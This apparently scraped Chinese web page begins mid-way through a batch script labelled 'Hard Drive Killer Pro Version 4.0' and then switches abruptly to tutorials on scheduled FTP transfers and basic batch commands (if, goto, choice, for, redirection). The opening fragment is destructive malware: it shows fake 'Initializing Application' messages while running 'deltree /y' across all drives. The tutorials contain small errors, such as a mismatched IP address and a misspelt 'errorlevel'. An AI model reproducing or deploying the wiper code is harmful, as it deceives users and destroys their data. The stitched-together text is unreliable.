           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .

           for %%a in (%drive%) call deltree /y %%a:*. >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .
           echo Starting Application . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

           cls
           echo Thank you for using a Munga Bunga product.
           echo.
           echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
           echo.
           echo Here is a joke for you . . .
           echo.
           echo Q). What''s the worst thing about being an egg?
           echo A). You only get laid once.
           echo.
           echo HAHAHAHA, get it? Don''t you just love that one?
           echo.
           echo Regards,
           echo.
           echo Munga Bunga

           :end

           rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
           rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here) 
用批處理命令實現FTP文件的自動傳輸

          由於工作的原因,每天需要在Windows操作系統之間或與其它操作系統如UNIX等利用FTP進行文件傳輸。經常重複這樣的工作程序,即繁瑣又容易出 錯。本人經過思考摸索,在Windows操作系統的“任務計劃”幫助下,成功地用批處理命令實現FTP文件的自動傳輸。現將此操作過程詳解,希望對同好有 所幫助,更望能拋磚引玉,提出更好的方法。

          假設本機操作系統爲Windows操作系統,需進行文件傳輸的目錄爲C:\datatran;對方計算機操作系統爲UNIX操作系統,IP地址爲 10.30.15.3,需進行文件傳輸的目錄爲C:\data,登錄用戶名爲Anonymous,口令爲123456。從本機到對方機接收文件操作方法如 下。

          第一步,先新建一個文本:

          Open 10.31.15.3

          User anonymous

          123456

          Cd data

          Bin

          Prompt

          Mget *.*

          Bye

          Quit

          Exit

          將該文本保存爲1.ftp存放到C盤根目錄。該文件只要擴展名爲ftp,前綴可任意取名。目錄也不一定要在根目錄,主要以方便爲主。文本中Bin爲用黑吧 碼格式傳輸文件,如用ASCII碼格式傳輸文件可去掉該行。如爲本機向對方機發送文件,則只要將文本中的Mget替換成Mput即可。這之後,再新建另一 個文本:

          C:

          Cd datatran

          ftp–n–s:”c:\1.ftp”

          新建完畢後將該文本保存爲1.bat後存放在硬盤任何分區或軟盤中均可。這樣,第一步工作已經完成,您隨時可以執行該批處理文件進行FTP文件的傳輸。

          第二步,將該該批處理文件放在“任務計劃”中設定自動運行。方法是:打開“開始”菜單“程序”下“附件”中的“系統工具”,點擊“任務計劃”,執行“添加 任務計劃”,按“任務計劃嚮導”提示將該批處理文件添加到任務計劃中,並指定執行週期,之後再設下密碼後即完成。從此,計算機會根據您的設定,自動週期性 地進行文件接收或發送,不再需要您動一下手指,真正做到它工作,您休息。

          另外,如果是Windows操作系統之間進行FTP進行文件傳輸,只要去掉1.ftp中“Bin”一行就可以了.
....................................................................................................................................................................................................................
echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令。
echo 表示顯示此命令後的字符
echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
rem 表示此命令後的字符爲解釋行(註釋),不執行,只是給自己今後參考用的(相當於程序中的註釋)。

例1:用edit編輯a.bat文件,輸入下列內容後存盤爲c:\a.bat,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啓動UCDOS,進入WPS等功能。

  批處理文件的內容爲:         命令註釋:

    @echo off           不顯示後續命令行及當前命令行
    dir c:\*.* >a.txt       將c盤文件列表寫入a.txt
    call c:\ucdos\ucdos.bat    調用ucdos
    echo 你好            顯示"你好"
    pause              暫停,等待按鍵繼續
    rem 準備運行wps         註釋:準備運行wps
    cd ucdos            進入ucdos目錄
    wps               運行wps  

批處理文件的參數

批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符“%”。

%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數字符串用%1到%9順序表示。

例2:C:根目錄下有一批處理文件名爲f.bat,內容爲:
@echo off
format %1

如果執行C:\>f a:
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a:

例3:C:根目錄下一批處理文件名爲t.bat,內容爲:
@echo off
type %1
type %2

那麼運行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。


特殊命令

if goto choice for是批處理文件中比較高級的命令。

if 

是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:

if [not] "參數" == "字符串" 待執行的命令

參數如果等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,否則運行下一句。

例:if "%1"=="a" format a:

if [not] exist [路徑\]文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,則顯示它的內容。

if errorlevel <數字> 待執行的命令

很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

goto 

批處理文件運行到這裏將跳到goto所指定的標號(標號即label,標號用:後跟標準字符串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。

如:

goto end

:end
echo this is the end

標號用“:字符串”來定義,標號所在行不被執行。

choice 

使用此命令可以讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。

注意:choice命令爲DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法。

choice的命令語法(該語法爲Windows 2003中choice命令的語法,其它版本的choice的命令語法與此大同小異):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
   該工具允許用戶從選擇列表選擇一個項目並返回所選項目的索引。

參數列表:
  /C    choices       指定要創建的選項列表。默認列表是 "YN"。

  /N                  在提示符中隱藏選項列表。提示前面的消息得到顯示,
                      選項依舊處於啓用狀態。

  /CS                 允許選擇分大小寫的選項。在默認情況下,這個工具
                      是不分大小寫的。

  /T    timeout       做出默認選擇之前,暫停的秒數。可接受的值是從 0
                      到 9999。如果指定了 0,就不會有暫停,默認選項
                      會得到選擇。

  /D    choice        在 nnnn 秒之後指定默認選項。字符必須在用 /C 選
                      項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。

  /M    text          指定提示之前要顯示的消息。如果沒有指定,工具只
                      顯示提示。

  /?                  顯示幫助消息。

  注意:
  ERRORLEVEL 環境變量被設置爲從選擇集選擇的鍵索引。列出的第一個選
  擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,
  該工具會發出警告響聲。如果該工具檢測到錯誤狀態,它會返回 255 的
  ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0
  的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降
  序排列。

示例:
  CHOICE /?
  CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
  CHOICE /T 10 /C ync /CS /D y
  CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"
  CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"
  
如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
屏幕上會顯示:
確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?
  
  
例:test.bat的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批處理運行後,將顯示“defrag,mem,end[D,M,E]?” ,用戶可選擇d m e ,然後if語句根據用戶的選擇作出判斷,d表示執行標號爲defrag的程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,批處理運行結束。

for 循環命令,只要條件符合,它將多次執行同一命令。

語法:
對一組文件中的每一個文件執行某個特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable  指定一個單一字母可替換的參數。
(set)      指定一個或一組文件。可以使用通配符。
command    指定對每個文件執行的命令。
command-parameters
            爲特定命令指定參數或命令行開關。

例如一個批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

則該命令行會顯示當前目錄下所有以bat和txt爲擴展名的文件的內容。



重定向操作


可以使用重定向操作符將命令輸入和輸出數據流從默認位置重定向到其他位置。輸入或輸出數據流的位置稱爲句柄。

下表將列出可用的句柄。

句柄 句柄的數字代號 描述

STDIN

0

鍵盤輸入

STDOUT

1

輸出到命令提示符窗口

STDERR

2

錯誤輸出到命令提示符窗口

UNDEFINED

3-9

句柄由應用程序單獨定義,它們是各個工具特有的

數字 0 到 9 代表前 10 個句柄。可以使用命令 Cmd.exe 運行程序,並對該程序前 10 個句柄中的任何一個句柄進行重定向。要指定要用的句柄,在重定向操作符之前鍵入該句柄的數字。如果未定義句柄,則默認的 < 重定向輸入操作符是 0,而默認的 > 重定向輸出操作符是 1。鍵入 < 或 > 操作符之後,必須指定數據的讀寫位置。可以指定文件名或其他現有的句柄。

要指定重定向到現有句柄,請使用與 (&) 字符,後面接要重定向的句柄號(即 &句柄號)。例如,下面的命令可以將句柄 2(即 STDERR)重定向到句柄 1(即 STDOUT):

2>&1



重定向輸入"<"

要通過鍵盤將輸入重定向到文件或設備,使用 "< "操作符。

例如,要從 File.txt 獲取 sort 命令的輸入,鍵入:

sort<file.txt

File.txt 的內容將以字母順序列表的方式顯示在命令提示符窗口中。

"< "操作符可以打開具有隻讀訪問權限的指定文件名。因此,不能在使用該操作符時向文件中寫入信息。例如,如果以 <&2 啓動程序,則所有試圖讀取句柄 0 的操作都將失敗,因爲句柄 2 最初是以只寫訪問方式打開的。

注意

0 是 < 重定向輸入操作符的默認句柄。

重定向輸出">"

幾乎所有的命令都將輸出發送到命令提示符窗口。即使將輸出發送到驅動器或打印機的命令也會在命令提示符窗口顯示消息和提示。

要將輸出從命令提示符窗口重定向到文件或設備,使用 > 操作符。可以在許多命令中使用該操作符

例如,要將 dir 輸出重定向到 Dirlist.txt,鍵入:

dir>dirlist.txt

如果 Dirlist.txt 不存在,Cmd.exe 將創建該文件。如果 Dirlist.txt 存在,Cmd.exe 將使用 dir 命令的輸出替換文件中的信息。

要運行 netsh routing dump 命令,然後將輸出發送到 Route.cfg,鍵入:

netsh routing dump>c:\route.cfg

">" 操作符可以打開具有隻寫訪問權限的指定文件。因此,不能使用該操作符讀取文件。例如,如果使用重定向操作符 >&0 啓動程序,則寫入句柄 1 的所有嘗試操作都將失敗,因爲句柄 0 最初是以只讀訪問方式打開的。

注意

1 是 > 重定向輸出操作符的默認句柄。

複製句柄

重定向操作符" & "可以將輸出或輸入從一個指定句柄複製到另一個指定的句柄。

例如,要將 dir 輸出發送到 File.txt 並將錯誤輸出發送到 File.txt,鍵入:

dir>c:\file.txt 2>&1

複製句柄時,可以複製該句柄原狀態的所有特性。例如,如果一個句柄具有隻讀訪問的屬性,則該句柄的所有副本都具有隻讀訪問屬性。不能將一個具有隻讀訪問屬性的句柄複製到另一個具有隻寫訪問屬性的句柄。

使用"&"操作符重定向輸出和副本

要將重定向輸入操作符 "<" 與複製操作符 "&" 結合使用,指定的文件必須已經存在。如果輸入文件存在,Cmd.exe 將以只讀方式打開該文件,然後將文件包含的字符作爲輸入發送到此命令(如同從鍵盤輸入一樣)。如果指定了句柄,Cmd.exe 將指定的句柄複製到系統現有的句柄中。

例如,要以句柄 0 輸入讀取(即 STDIN)的方式打開 File.txt,鍵入:

< file.txt

要打開 File.txt,並在內容排序後將輸出發送到命令提示符窗口(即 STDOUT),鍵入:

sort< file.txt

要查找 File.txt,然後將句柄 1(即 STDOUT)和句柄 2(即 STDERR)重定向到 Search.txt,鍵入:

findfile file.txt>search.txt 2<&1

要以句柄 0 輸入讀取(即 STDIN)的方式複製用戶定義的句柄 3,鍵入:

<&3

使用"&"操作符重定向輸出和複製

如果將輸出重定向到文件且指定了現有的文件名,Cmd.exe 將以只寫方式打開文件並覆蓋該文件內容。如果指定了句柄,Cmd.exe 將文件複製到現有句柄中。

要將用戶定義的句柄 3 複製到句柄 1,鍵入:

>&3

要將包括句柄 2(即 STDERR)的所有輸出從 ipconfig 命令重定向到句柄 1(即 STDOUT),然後將輸出重定向到 Output.log,鍵入:

ipconfig.exe>>output.log 2>&1

使用">>"重定向操作符附加輸出

要從命令中將輸出添加到文件末尾而不丟失文件中已存在的任何信息,請使用兩個連續的大於號(即 >>)。

例如,使用下列命令可以將 dir 命令生成的目錄列表附加到 Dirlist.txt 文件:

dir>>dirlist.txt

要將 netstat 命令的輸出附加到 Tcpinfo.txt 的末尾,鍵入:

netstat>>tcpinfo.txt

使用管道操作符"|"

管道操作符 (|) 可以提取一個命令的輸出(默認情況下是 STDOUT),然後將其定向到另一個命令的輸入(默認情況下是 STDIN)中。

例如,使用下面的命令可以對目錄進行分類:

dir | sort

在本例中,將同時啓動兩個命令,但隨後 sort 命令會暫停,直到它接收到 dir 命令的輸出爲止。sort 命令使用 dir 命令的輸出作爲輸入,然後將輸出發送到句柄 1(即 STDOUT)。

合併帶重定向操作符的命令

通過合併帶有其他命令和文件名的篩選器命令,可以創建自定義命令。

例如,可以使用以下命令存儲包含“LOG”字符串的文件名:

dir /b | find "log" loglist.txt

dir 命令的輸出是通過 find 篩選器命令進行發送的。包含字符串“LOG”的文件名作爲文件名列表(例如,NetshConfig.log、Logdat.svd 和 Mylog.bat)存儲在文件 Loglist.txt 中。

要在相同命令中使用多個篩選器,使用管道 (|) 分隔篩選器。

例如,下面的命令將搜索 C 盤上的每個目錄以查找包含“LOG”字符串的文件名,並且在命令提示符窗口中每次顯示一屏:

dir c:\ /s /b | find "log" | more




批處理示例

IF-EXIST

1)

首先用記事本在C:\建立一個test1.bat批處理文件,文件內容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然後運行它:
C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。

2)

接着再建立一個test2.bat文件,內容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist

執行:
C:\>TEST2 AUTOEXEC.BAT
該命令運行結果同上。

說明:
(1) IF EXIST 是用來測試文件是否存在的,格式爲
IF EXIST [路徑+文件名] 命令
(2) test2.bat文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別爲%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關係,%1是形參,AUTOEXEC.BAT是實參。

3) 更進一步的,建立一個名爲TEST3.BAT的文件,內容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果運行:
C:\>TEST3 A B C
屏幕上會顯示:
XIAO
TIAN
XIN

如果運行:
C:\>TEST3 A B
屏幕上會顯示
XIAO
TIAN

在這個命令執行過程中,DOS會將一個空字符串指定給參數%3。

IF-ERRORLEVEL

建立TEST4.BAT,內容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件

然後執行文件:
C:\>TEST4

如果文件拷貝成功,屏幕就會顯示“成功拷貝文件”,否則就會顯示“文件拷貝失敗”。

IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。
因此下面的批處理文件是錯誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

無論拷貝是否成功,後面的:

未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤

都將顯示出來。

以下就是幾個常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份文件
2 文件共享衝突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止

diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較

diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作

format
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示“proceed with format(y/n)?”下用戶鍵入n結束

xcopy
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預置錯誤阻止文件拷貝操作
5 拷貝過程中寫盤錯誤

IF STRING1 == STRING2

建立TEST5.BAT,文件內容如下:
@echo off
IF "%1" == "A" formAT A:

執行:
C:\>TEST5 A
屏幕上就出現是否將A:盤格式化的內容。

注意:爲了防止參數爲空的情況,一般會將字符串用雙引號(或者其它符號,注意不能使用保留符號)括起來。
如:if [%1]==[A] 或者 if %1*==A*

GOTO

建立TEST6.BAT,文件內容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE

注意:
(1) 標號前是ASCII字符的冒號":",冒號與標號之間不能有空格。
(2) 標號的命名規則與文件名的命名規則相同。
(3) DOS支持最長八位字符的標號,當無法區別兩個標號時,將跳轉至最近的一個標號。

FOR

建立C:\TEST7.BAT,文件內容如下:
@ECHO OFF
FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C

運行:
C:>TEST7

執行以後,屏幕上會將C:盤根目錄下所有以BAT、TXT、SYS爲擴展名的文件內容顯示出來(不包括隱藏文件).

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章